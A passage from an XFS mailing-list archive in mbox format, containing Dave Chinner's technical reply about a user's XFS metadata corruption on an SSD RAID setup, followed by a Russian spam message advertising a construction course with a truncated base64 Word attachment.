_JS_TIMEOUT"])top["_AM_JS_TIMEOUT"](window,sc,"_SL","rld");ssm=3D1;d.getE= lementById("stb").style.display=3D"none";if(!window._jsl){sc("_CB",GM_STA= RT_TIME);si("jscc")}si("jsle");apsl()} function apsl(){(new Image).src=3D"//clients2./availability/?s\x3d\x26a\x= 3dviewinbox\x26c\x3dsol\x26tm\x3d"+(new Date).getTime()+"\x26zx\x3d1k3jer= cqrw2oh"}function apsc(){(new Image).src=3D"//clients2./availability/?s\x= 3d\x26a\x3dviewinbox\x26c\x3dscs\x26tm\x3d"+(new Date).getTime()+"\x26zx\= x3d91ffjw51nigw"}function si(i){(new Image).src=3D"?ui\x3d2\x26view\x3djs= le\x26ik\x3d"+GLOBALS[9]+"\x26imp\x3d"+i+"\x26val\x3d"+pr+"\x26random\x3d= "+GM_START_TIME} function fp(w){w.focus()}var loadTimeout=3DsetTimeout(onLoadTimeout,1E4);= GLOBALS[1]=3D(new Date).getTime(); </script></body></html> ------=_NextPart_000_1EF2_01CF1803.DE654120-- From david@fromorbit.com Wed Jan 22 17:32:16 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5D65B29E05 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 17:32:16 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E7E60AC005 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:32:15 -0800 (PST) X-ASG-Debug-ID: 1390433532-04bdf030eaa4c10001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id j2bA2J4CIU0tV6Dm for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 15:32:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsEVAKxU4FJ5LKVw/2dsb2JhbABbgww4gwJSo0oDj0SFUIESF3SCJQEBAQMBHgUPASMjBQsIAw4KAgIFDxICAg8FJQMhCgmHfQcOp3acOhaBE4xoIkkHGIJXgUkElDyDZZIZg0EogSwBHwQ Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jan 2014 10:01:44 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W67Gn-0003U4-5i; Thu, 23 Jan 2014 10:31:41 +1100 Date: Thu, 23 Jan 2014 10:31:41 +1100 From: Dave Chinner <david@fromorbit.com> To: Sascha Askani <saskani@inovex.de> Cc: xfs@oss.sgi.com Subject: Re: Weird XFS Corruption Error Message-ID: <20140122233141.GI27606@dastard> X-ASG-Orig-Subj: Re: Weird XFS Corruption Error References: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <CDBC891F-BCF6-4B9B-ADDB-9E143973D188@inovex.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390433532 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: lenzg.net X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144375 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 22, 2014 at 05:09:10PM +0100, Sascha Askani wrote: > Hi everybody, > > We experienced a weird XFS corruption yesterday and I desperately trying to find out what was happening. > First, the setup: > > * ProLiant DL380p Gen8 > * 256GB RAM > * HP SmartArray P420i Controller > ** 1 GB BBWC > ** Firmware Version 4.68 > ** 20x MK0100GCTYU 100GB SSD Drives > ** Raid 1+0 > * LVM > * Ubuntu 12.10 LTS > * Kernel 3.11.0-15-generic #23~precise1-Ubuntu > > fstab Entry: > /dev/vg00/opt_mysqlbackup /opt/mysqlbackup xfs nobarrier,noatime,nodiratime,logbufs=8,logbsize=256k 0 2 > > We created a 120GB LV mounted on /opt/mysqlbackup with which > (obviously) temporarily hosts our MariaDB Backups until they are > transferred to tape. We use mylvmbackup > (http://www.lenzg.net/mylvmbackup/) to create a (approx. 55GB) > tar.gz file containing the dump. While testing, I created a > hardlink for 2 Files in a subdir („safe“) and forgot them > for a day while the „original“ file was deleted and > replaced by next day’s backup. > > When I tried cleaning up the no longer needed files, I encountered the following: > > --------------------------------------------------------- > me@hsoi-gts3-de02:/opt/mysqlbackup$ sudo rm -rf safe/ > sudo rm -rf safe/ > [sudo] password for saskani: > rm: cannot remove `safe/daily_snapshot.tar.gz.md5': Input/output error > --------------------------------------------------------- > > dmesg told me: > --------------------------------------------------------- > [964199.138848] XFS (dm-8): Internal error xfs_bmbt_read_verify at line 789 of file /build/buildd/linux-lts-saucy-3.11.0/fs/xfs/xfs_bmap_btree.c. Caller 0xffffffffa0164495 > [964199.138848] > [964199.138850] CPU: 1 PID: 3694 Comm: kworker/1:1H Tainted: GF 3.11.0-15-generic #23~precise1-Ubuntu > [964199.138851] Hardware name: HP ProLiant DL380p Gen8, BIOS P70 09/18/2013 > [964199.138874] Workqueue: xfslogd xfs_buf_iodone_work [xfs] > [964199.138876] 0000000000000001 ffff881c6be6fd18 ffffffff8173bc0e 0000000000004364 > [964199.138878] ffff883f9061c000 ffff881c6be6fd38 ffffffffa016629f ffffffffa0164495 > [964199.138879] 0000000000000001 ffff881c6be6fd78 ffffffffa016630e ffff881c6be6fda8 > [964199.138880] Call Trace: > [964199.138886] [<ffffffff8173bc0e>] dump_stack+0x46/0x58 > [964199.138906] [<ffffffffa016629f>] xfs_error_report+0x3f/0x50 [xfs] > [964199.138913] [<ffffffffa0164495>] ? xfs_buf_iodone_work+0x95/0xc0 [xfs] > [964199.138921] [<ffffffffa016630e>] xfs_corruption_error+0x5e/0x90 [xfs] > [964199.138928] [<ffffffffa0164495>] ? xfs_buf_iodone_work+0x95/0xc0 [xfs] > [964199.138939] [<ffffffffa01944d6>] xfs_bmbt_read_verify+0x76/0xf0 [xfs] > [964199.138946] [<ffffffffa0164495>] ? xfs_buf_iodone_work+0x95/0xc0 [xfs] > [964199.138949] [<ffffffff81095bb2>] ? finish_task_switch+0x52/0xf0 > [964199.138969] [<ffffffffa0164495>] xfs_buf_iodone_work+0x95/0xc0 [xfs] > [964199.138972] [<ffffffff81081060>] process_one_work+0x170/0x4a0 > [964199.138973] [<ffffffff81082121>] worker_thread+0x121/0x390 > [964199.138975] [<ffffffff81082000>] ? manage_workers.isra.21+0x170/0x170 > [964199.138977] [<ffffffff81088fe0>] kthread+0xc0/0xd0 > [964199.138979] [<ffffffff81088f20>] ? flush_kthread_worker+0xb0/0xb0 > [964199.138981] [<ffffffff817508ac>] ret_from_fork+0x7c/0xb0 > [964199.138983] [<ffffffff81088f20>] ? flush_kthread_worker+0xb0/0xb0 > [964199.138984] XFS (dm-8): Corruption detected. Unmount and run xfs_repair > [964199.139014] XFS (dm-8): metadata I/O error: block 0x1f0 ("xfs_trans_read_buf_map") error 117 numblks 8 > [964199.139016] XFS (dm-8): xfs_do_force_shutdown(0x1) called from line 367 of file /build/buildd/linux-lts-saucy-3.11.0/fs/xfs/xfs_trans_buf.c. Return address = 0xffffffffa01cadbc So, an inode extent map btree block failed verification for some reason. Hmmm - there should have been 4 lines of hexdump output there as well. Can you post that as well? Or have you modified /proc/sys/fs/xfs/error_level to have a value of 0 so it is not emitted? And not the disk address of the buffer? 0x1f0 - it's right near the start of the volume. > [964199.139324] XFS (dm-8): I/O Error Detected. Shutting down filesystem > [964199.139325] XFS (dm-8): Please umount the filesystem and rectify the problem(s) > [964212.367300] XFS (dm-8): xfs_log_force: error 5 returned. > [964242.477283] XFS (dm-8): xfs_log_force: error 5 returned. > --------------------------------------------------------- > > After that, I tried the following (in order): Do you have the output and log messages from these steps? That would be realy helpful in confirming any diagnosis. > 1. xfs_repair, which did not find the superblock and started scanning the LV, after finding the secondary superblock, it told me there’s still something in the log, so I Oh, wow. Ok, if the primary superblock is gone, along with metadata in the first few blocks of the filesystem, then something has overwritten the start of the block device the filesystem is on. > 2. mounted the filesystem, which gave me a „Structure needs cleaning“ after a couple of seconds > 3. tried mounting again for good measure, same error „Structure needs cleaning“ Right - the kernel can't read a valid superlock, either. > 4. xfs_repair -L which repaired everything, and effectively cleaned my Filesystem in the process. Recreating the primary superblock from the backup superblocks > 5. mount the filesystem to find it empty. Because the root inode was lost, along with AGI 0 and so all the inodes in the first AG were completely lost as all the redundant information that is used to find them was trashed. > Since then, I’m desperately trying to reproduce the problem, > but unfortunately to no avail. Can somebody give some insight on > the errors I encountered. I have previously operated 4,5PB worth > of XFS Filesystems for 3 years and never got an error similar to > this. This doesn't look like an XFS problem. This looks like something overwrote the start of the block device underneath the XFS filesystem. I've seen this happen before with faulty SSDs, I've also seen it when someone issued a discard to the wrong location on a block device (you didn't run fstrim on the block device, did you?), and I've seen faulty RAID controllers cause similar issues. So right now I'd be looking at logs and so on for hardware/storage issues that occurred in the past couple of days as potential causes. Cheers, Dave. -- Dave Chinner david@fromorbit.com From hsgjocxlfcnfl.78@3-angle.nl Wed Jan 22 21:51:27 2014 Return-Path: <hsgjocxlfcnfl.78@3-angle.nl> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.7 required=5.0 tests=FROM_LOCAL_NOVOWEL, HK_RANDOM_ENVFROM,HK_RANDOM_FROM,HTML_MESSAGE,HTML_TAG_BALANCE_HEAD autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 285ED7FB1 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 21:51:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C57E4304051 for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 19:51:23 -0800 (PST) X-ASG-Debug-ID: 1390449079-04bdf030ebb0a80001-NocioJ Received: from server2.cosmoshost.ru (server2.cosmoshost.ru [46.165.210.15]) by cuda.sgi.com with ESMTP id r3PSSxxIIViFDXAZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Wed, 22 Jan 2014 19:51:21 -0800 (PST) X-Barracuda-Envelope-From: hsgjocxlfcnfl.78@3-angle.nl X-Barracuda-Apparent-Source-IP: 46.165.210.15 Received: from Unknown (66-34-24-83.static.propagation.net [66.34.24.83] (may be forged)) (authenticated bits=0) by server2.cosmoshost.ru (8.14.4/8.14.4) with ESMTP id s0N3l4qV292409; Thu, 23 Jan 2014 04:47:06 +0100 Message-ID: <84BE865C747E4619B19EB8D5741B4B14@vcde> Reply-To: =?windows-1251?B?3vDo5Oj35fHq6Okg7vLk5es=?= <adam@mail.ru> From: =?windows-1251?B?3vDo5Oj35fHq6Okg7vLk5es=?= <hsgjocxlfcnfl.78@3-angle.nl> To: <info@tohnichi.spb.ru>, <ostrov@trade.spb.ru>, <info@consultunion.com>, <xfs@oss.sgi.com> Subject: =?windows-1251?B?7uH/5+Dy5ev87fvlIPLw5eHu4uDt6P8g5Ov/?= =?windows-1251?B?IO7w4+Dt6Ofg9ujpLCDq7vLu8PvlIO/w7uLu?= =?windows-1251?B?5P/yIO3l4+7x8+Tg8PHy4uXt7fP+IP3q8e/l?= =?windows-1251?B?8PLo5/Mg7/Du5ery7e7pIOTu6vPs5e3y4Pbo?= =?windows-1251?B?6CE=?= Date: Thu, 23 Jan 2014 04:51:38 +0100 X-ASG-Orig-Subj: =?windows-1251?B?7uH/5+Dy5ev87fvlIPLw5eHu4uDt6P8g5Ov/?= =?windows-1251?B?IO7w4+Dt6Ofg9ujpLCDq7vLu8PvlIO/w7uLu?= =?windows-1251?B?5P/yIO3l4+7x8+Tg8PHy4uXt7fP+IP3q8e/l?= =?windows-1251?B?8PLo5/Mg7/Du5ery7e7pIOTu6vPs5e3y4Pbo?= =?windows-1251?B?6CE=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0F21_01CF17F6.CCCF6010" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: server2.cosmoshost.ru[46.165.210.15] X-Barracuda-Start-Time: 1390449080 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.53 X-Barracuda-Spam-Status: No, SCORE=2.53 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=FROM_LOCAL_NOVOWEL, HTML_MESSAGE, HTML_TAG_BALANCE_HEAD, K2_FROM_LOCAL_NOVOWEL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144382 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 FROM_LOCAL_NOVOWEL From: localpart has series of non-vowel letters 2.33 K2_FROM_LOCAL_NOVOWEL From: localpart has series of non-vowel letters This is a multi-part message in MIME format. ------=_NextPart_000_0F21_01CF17F6.CCCF6010 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0F22_01CF17F6.CCCF6010" ------=_NextPart_001_0F22_01CF17F6.CCCF6010 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3=EA=F6= =E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE=E1=FA= =E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB= =FC=F1=F2=E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=ED=FB=E5 = =ED=EE=E2=F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2=EA=E8, =E2=EE=E7=EC= =EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8 =F2=EE=ED=EA=EE=F1=F2=E8.=20 =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 =ED=E0= =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2 =CF=C5= =D2=C5=D0=C1=D3=D0=C3=C5, =EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9 =F1=EB=EE=E6=ED= =FB=EC =E2=EE=EF=F0=EE=F1=E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 =F1=E4=E0=F7=E8= =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE =F1=F2=F0=EE=E8= =F2=E5=EB=FC=F1=F2=E2=E0: =CF=F0=EE=E3=F0=E0=EC=EC=E0 =EA=F3=F0=F1=E0 =E8 =EA=EE=ED=F2=E0=EA=F2=FB = =E2=EE =E2=EB=EE=E6=E5=ED=E8=E8. ------=_NextPart_001_0F22_01CF17F6.CCCF6010 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1251" http-equiv=3DContent-= Type> <STYLE type=3Dtext/css>.style2 { FONT-FAMILY: "Courier New", Courier, monospace } .style3 { FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif } .style4 { FONT-SIZE: large; FONT-WEIGHT: bold } .style5 { COLOR: #0000ff } .style7 { COLOR: #666666; FONT-WEIGHT: bold } .style8 { COLOR: #330066 } .style9 { COLOR: #330099 } .style10 { COLOR: #8000ff } .style11 { COLOR: #301b69 } .style12 { COLOR: #000000; FONT-WEIGHT: bold } .style14 { FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; FONT-WEIGHT: bold } .style17 { COLOR: #330099; FONT-SIZE: x-large; FONT-WEIGHT: bold } .style18 { FONT-SIZE: xx-large } .style20 { FONT-SIZE: large } .style22 { COLOR: #000000 } .style23 { COLOR: #333333; FONT-WEIGHT: bold } .style24 { FONT-FAMILY: Georgia, "Times New Roman", Times, serif } .style25 { FONT-FAMILY: Georgia, "Times New Roman", Times, serif; COLOR: #ff0000 } .style26 { COLOR: #ff0000 } .style27 { FONT-SIZE: xx-large; FONT-WEIGHT: bold } </STYLE> <TD class=3Dheader-title> <META name=3DGENERATOR content=3D"-[OUTLOOK_VER]-"> <BODY> <DIV>=D1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =F0=E5=EA=EE=ED=F1=F2=F0=F3= =EA=F6=E8=FF =E8 =E2=E2=EE=E4 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =EE= =E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E0=EB=FC=ED=EE=E3=EE=20 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0: =E2=F1=E5 =E7=E0=EA=EE=ED=EE=E4=E0= =F2=E5=EB=FC=ED=FB=E5 =ED=EE=E2=F8=E5=F1=F2=E2=E0, =F0=E0=E7=F0=E0=E1=EE=F2= =EA=E8, =E2=EE=E7=EC=EE=E6=ED=FB=E5 =EF=F0=EE=E1=EB=E5=EC=FB =E8=20 =F2=EE=ED=EA=EE=F1=F2=E8. </DIV> <DIV>&nbsp;</DIV> <DIV> <DIV>=CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =F1=EF=E5=F6=E8=E0=EB=E8=F1=F2=EE=E2 = =ED=E0 =EA=F0=E0=F2=EA=E8=E9 =EE=E1=F3=F7=E0=FE=F9=E8=E9 =EA=F3=F0=F1 =E2= =CF=C5=D2=C5=D0=C1=D3=D0=C3=C5, =EF=EE=F1=E2=FF=F9=E5=ED=ED=FB=E9=20 =F1=EB=EE=E6=ED=FB=EC =E2=EE=EF=F0=EE=F1=E0=EC =E2 =EE=E1=EB=E0=F1=F2=E8 = =F1=E4=E0=F7=E8 =EE=E1=FA=E5=EA=F2=E0 =EA=E0=EF=E8=F2=E5=EB=FC=ED=EE=E3=EE= =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=E0:</DIV></DIV> <DIV>&nbsp;</DIV> <DIV>=CF=F0=EE=E3=F0=E0=EC=EC=E0 =EA=F3=F0=F1=E0 =E8 =EA=EE=ED=F2=E0=EA=F2= =FB =E2=EE =E2=EB=EE=E6=E5=ED=E8=E8.</DIV></BODY></HTML> ------=_NextPart_001_0F22_01CF17F6.CCCF6010-- ------=_NextPart_000_0F21_01CF17F6.CCCF6010 Content-Type: application/msword; name="vks.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="vks.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAANQAAAAAAAAAA EAAANwAAAAEAAAD+////AAAAADQAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAe8AZBAAA8BK/AAAAAAAAEAAAAAAACAAAcB0AAA4AYmpianrkeuQAAAAAAAAAAAAAAAAAAAAA AAAZBBYALiQAABiOAQAYjgEAgggAAAAAAAAnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAADIIAAAAAAAAMggAAKsV AAAAAAAAqxUAAAAAAACrFQAAAAAAAKsVAAAAAAAAqxUAABQAAAAAAAAAAAAAAP////8AAAAAvxUA AAAAAAC/FQAAAAAAAL8VAAA4AAAA9xUAACQAAAAbFgAADAAAAL8VAAAAAAAAUhwAACQCAAAnFgAA AAAAACcWAAAAAAAAJxYAAAAAAAAnFgAAAAAAACcWAAAAAAAAFhcAAAAAAAAWFwAAAAAAABYXAAAA AAAAxRsAAAIAAADHGwAAAAAAAMcbAAAAAAAAxxsAAAAAAADHGwAAAAAAAMcbAAAAAAAAxxsAACQA AAB2HgAAsgIAACghAAA6AAAA6xsAACEAAAAAAAAAAAAAAAAAAAAAAAAAqxUAAAAAAAAWFwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAWFwAAAAAAABYXAAAAAAAAFhcAAAAAAAAWFwAAAAAAAOsbAAAAAAAA AAAAAAAAAACrFQAAAAAAAKsVAAAAAAAAJxYAAAAAAAAAAAAAAAAAACcWAADvAAAADBwAABYAAABU GAAAAAAAAFQYAAAAAAAAVBgAAAAAAAAWFwAAagAAAKsVAAAAAAAAJxYAAAAAAACrFQAAAAAAACcW AAAAAAAAxRsAAAAAAAAAAAAAAAAAAFQYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFhcAAAAAAADFGwAAAAAAAAAAAAAAAAAAVBgAAAAAAABUGAAA HgAAAI8aAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2xoAAAAAAAAnFgAAAAAAAP////8AAAAAgADcnqMX zwEAAAAAAAAAAP////8AAAAAgBcAAFIAAACnGgAACAAAAAAAAAAAAAAAsRsAABQAAAAiHAAAMAAA AFIcAAAAAAAArxoAACwAAABiIQAAAAAAANIXAACCAAAAYiEAABAAAADbGgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADb GgAANgAAAGIhAAAAAAAAAAAAAAAAAACrFQAAAAAAABEbAACgAAAAFhcAAAAAAAAWFwAAAAAAAFQY AAAAAAAAFhcAAAAAAAAWFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhcA AAAAAAAWFwAAAAAAABYXAAAAAAAA6xsAAAAAAADrGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAVBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYXAAAA AAAAFhcAAAAAAAAWFwAAAAAAAFIcAAAAAAAAFhcAAAAAAAAWFwAAAAAAABYXAAAAAAAAFhcAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAGIhAAAAAAAAFhcAAAAAAAAW FwAAAAAAABYXAAAAAAAAFhcAAAAAAAAWFwAAAAAAABYXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWFwAAAAAAABYXAAAAAAAAFhcA AAAAAAAyCAAAPwwAAHEUAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEMARB BEEEPAQwBEIEQAQ4BDIEMAQ1BDwESwQ1BCAAQgQ1BDwESwQ6AA0AHQQ+BEAEPAQwBEIEOAQyBD0E SwQ1BCAANAQ+BDoEQwQ8BDUEPQRCBEsELAAgAEAENQQzBDsEMAQ8BDUEPQRCBDgEQARDBE4ESQQ4 BDUEIAA/BD4EQARPBDQEPgQ6BCAAMgQyBD4ENAQwBCAANwQwBDoEPgQ9BEcENQQ9BD0EPgQzBD4E IABBBEIEQAQ+BDgEQgQ1BDsETARBBEIEMgQ+BDwEIAA+BDEESgQ1BDoEQgQwBCAAMgQgAE0EOgRB BD8EOwRDBDAEQgQwBEYEOAROBC4AIAAQBDQEPAQ4BD0EOARBBEIEQAQwBEIEOAQyBD0ESwQ5BCAA QAQ1BDMEOwQwBDwENQQ9BEIEIACrABIESwQ0BDAERwQwBCAAQAQwBDcEQAQ1BEgENQQ9BDgEOQQg AD0EMAQgADIEMgQ+BDQEIAA+BDEESgQ1BDoEQgQ+BDIEIAA6BDAEPwQ4BEIEMAQ7BEwEPQQ+BDME PgQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4 BE4EuwAuACAAFwQwBDoEOwROBEcENQQ9BDgENQQgAD4EIABBBD4EPgRCBDIENQRCBEEEQgQyBDgE OAQgAD8EPgRBBEIEQAQ+BDUEPQQ9BD4EMwQ+BCwAIABABDUEOgQ+BD0EQQRCBEAEQwQ4BEAEPgQy BDAEPQQ9BD4EMwQ+BCwAIAA+BEIEQAQ1BDwEPgQ9BEIEOARABD4EMgQwBD0EPQQ+BDMEPgQgAD4E MQRKBDUEOgRCBDAEIAA6BDAEPwQ4BEIEMAQ7BEwEPQQ+BDMEPgQgAEEEQgRABD4EOARCBDUEOwRM BEEEQgQyBDAEIABCBEAENQQxBD4EMgQwBD0EOARPBDwEIABCBDUERQQ9BDgERwQ1BEEEOgQ4BEUE IABABDUEMwQ7BDAEPAQ1BD0EQgQ+BDIELgANACEEPgRBBEIEMAQyBCAAOARBBD8EPgQ7BD0EOARC BDUEOwRMBD0EPgQ5BCAANAQ+BDoEQwQ8BDUEPQRCBDAERgQ4BDgEIAA/BEAEOAQgAEEENAQwBEcE NQQgAD4EMQRKBDUEOgRCBDAELgANACIEQAQ1BDEEPgQyBDAEPQQ4BE8EIAAhBD0EOAQfBCAAOAQg ADQEQARDBDMEOARFBCAAPQQ+BEAEPAQwBEIEOAQyBD4EMgQgAD8EQAQ4BCAAPwRABD4ENQQ6BEIE OARABD4EMgQwBD0EOAQ4BCAAOAQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBDUELgAgABQENQQ5 BEEEQgQyBEMETgRJBDAETwQgAEEEOARBBEIENQQ8BDAEIAA9BD4EQAQ8BCAAOAQgAD8EQAQwBDIE OAQ7BC4AIAAiBDUERQQ9BDgERwQ1BEEEOgQ4BDUEIABABDUEMwQ7BDAEPAQ1BD0EQgRLBCAAIgQw BDwEPgQ2BDUEPQQ9BD4EMwQ+BCAAQQQ+BE4ENwQwBCAAMgQgAD4EMQQ7BDAEQQRCBDgEIAAxBDUE NwQ+BD8EMARBBD0EPgRBBEIEOAQgADgEIABBBEIEQAQ+BDgEQgQ1BDsETARBBEIEMgQwBC4AIAAe BDEENwQ+BEAEIAA0BDUEOQRBBEIEMgRDBE4ESQQ4BEUEIAA4BCAAMgQyBD4ENAQ4BDwESwRFBCAA QAQ1BDMEOwQwBDwENQQ9BEIEPgQyBC4AIAAfBD4EQARPBDQEPgQ6BCAAPgREBD4EQAQ8BDsENQQ9 